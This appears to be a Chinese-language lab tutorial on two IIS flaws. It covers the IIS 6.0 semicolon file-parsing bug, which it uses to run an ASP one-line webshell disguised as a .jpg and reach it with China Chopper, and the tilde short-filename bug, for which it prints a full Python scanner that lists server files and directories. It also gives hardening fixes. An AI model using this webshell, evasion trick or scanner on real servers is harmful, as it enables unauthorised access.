一、IIS6.0文件解析漏洞
1、ASP一句話木馬的准備
新建木馬文件“muma.txt”,將“我asp是一句話木馬:<%eval request("asp")%>”寫入文件中,保存后將文件名“muma.txt”改為“muma.asp;sss.jpg”。
2、將jpg木馬文件放到網站目錄下:
3、在瀏覽器中輸入網址http://192.168.227.131/muma.asp;sss.jpg訪問IIS6.0服務器上的木馬文件。
看到報錯,一句話木馬沒有執行,那么直接訪問網站:
發現網站能訪問,得出結論:當訪問IIS6.0服務器上的文件“muma.asp;sss.jpg”時,由於IIS6.0具有文件解析漏洞,將文件解析為“muma.asp”,服務器對ASP、PHP等腳本文件默認使得客戶無法進行訪問,所以報出403.1的錯誤,但是卻能訪問html、txt等文件。
4、報出403.1的錯誤,進行如下配置進行解決:
(1)將網站目錄授予Everyone用戶讀取權限:
(2)對web服擴展進行配置:
(3)將網站的執行權限設置為純腳本:
重新訪問可成功執行一句話木馬:
5、中國菜刀上場
一句話木馬運用結果如下:
6、解決方案
文件解析漏洞的原理是將一個看似不是腳本的文件(偽裝腳本)解析成為腳本文件來執行,這其實是為了避過文件上傳的防御機制眾多手段之一。如果服務器上上傳了一個偽裝腳本,那么將IIS服務器配置為對文件的執行權限不能是腳本,也或者是不允許所有人讀寫腳本文件。
(1)在IIS管理界面 web屬性-主目錄設置文件執行權限為無。
(2)取消網站下asp文件對everyone的完全訪問(讀寫)權限。
二、短文件名漏洞
1、環境的准備
(1)添加組件APS.NEt
(2)設置web擴展程序。
2、掃描工具:
import sys import httplib import urlparse import threading import Queue import time class Scanner(): def __init__(self, target): self.target = target.lower() if not self.target.startswith('http'): self.target = 'http://%s' % self.target self.scheme, self.netloc, self.path, params, query, fragment = \ urlparse.urlparse(target) if self.path[-1:] != '/': # ends with slash self.path += '/' self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-' self.files = [] self.dirs = [] self.queue = Queue.Queue() self.lock = threading.Lock() self.threads = [] self.request_method = '' self.msg_queue = Queue.Queue() self.STOP_ME = False threading.Thread(target=self._print).start() def _conn(self): try: if self.scheme == 'https': conn = httplib.HTTPSConnection(self.netloc) else: conn = httplib.HTTPConnection(self.netloc) return conn except Exception, e: print '[_conn.Exception]', e return None def _get_status(self, path): try: conn = self._conn() conn.request(self.request_method, path) status = conn.getresponse().status conn.close() return status except Exception, e: raise Exception('[_get_status.Exception] %s' % str(e) ) def is_vul(self): try: for _method in ['GET', 'OPTIONS']: self.request_method = _method status_1 = self._get_status(self.path + '/*~1*/a.aspx') # an existed file/folder status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx') # not existed file/folder if status_1 == 404 and status_2 != 404: return True return False except Exception, e: raise Exception('[is_vul.Exception] %s' % str(e) ) def run(self): for c in self.alphanum: self.queue.put( (self.path + c, '.*') ) # filename, extension for i in range(20): t = threading.Thread(target=self._scan_worker) self.threads.append(t) t.start() for t in self.threads: t.join() self.STOP_ME = True def report(self): print '-'* 64 for d in self.dirs: print 'Dir: %s' % d for f in self.files: print 'File: %s' % f print '-'*64 print '%d Directories, %d Files found in total' % (len(self.dirs), len(self.files)) print 'Note that * is a wildcard, matches any character zero or more times.' def _print(self): while not self.STOP_ME or (not self.msg_queue.empty()): if self.msg_queue.empty(): time.sleep(0.05) else: print self.msg_queue.get() def _scan_worker(self): while True: try: url, ext = self.queue.get(timeout=1.0) status = self._get_status(url + '*~1' + ext + '/1.aspx') if status == 404: self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext)) if len(url) - len(self.path)< 6: # enum first 6 chars only for c in self.alphanum: self.queue.put( (url + c, ext) ) else: if ext == '.*': self.queue.put( (url, '') ) if ext == '': self.dirs.append(url + '~1') self.msg_queue.put('[+] Directory ' + url + '~1\t[Done]') elif len(ext) == 5 or (not ext.endswith('*')): # .asp* self.files.append(url + '~1' + ext) self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]') else: for c in 'abcdefghijklmnopqrstuvwxyz0123456789': self.queue.put( (url, ext[:-1] + c + '*') ) if len(ext) < 4: # < len('.as*') self.queue.put( (url, ext[:-1] + c) ) except Queue.Empty,e: break except Exception, e: print '[Exception]', e if __name__ == '__main__': if len(sys.argv) == 1: print 'Usage: python IIS_shortname_Scan.py http://www.target.com/' sys.exit() target = sys.argv[1] s = Scanner(target) if not s.is_vul(): s.STOP_ME = True print 'Server is not vulnerable' sys.exit(0) print 'Server is vulnerable, please wait, scanning...' s.run() s.report()
3、掃描結果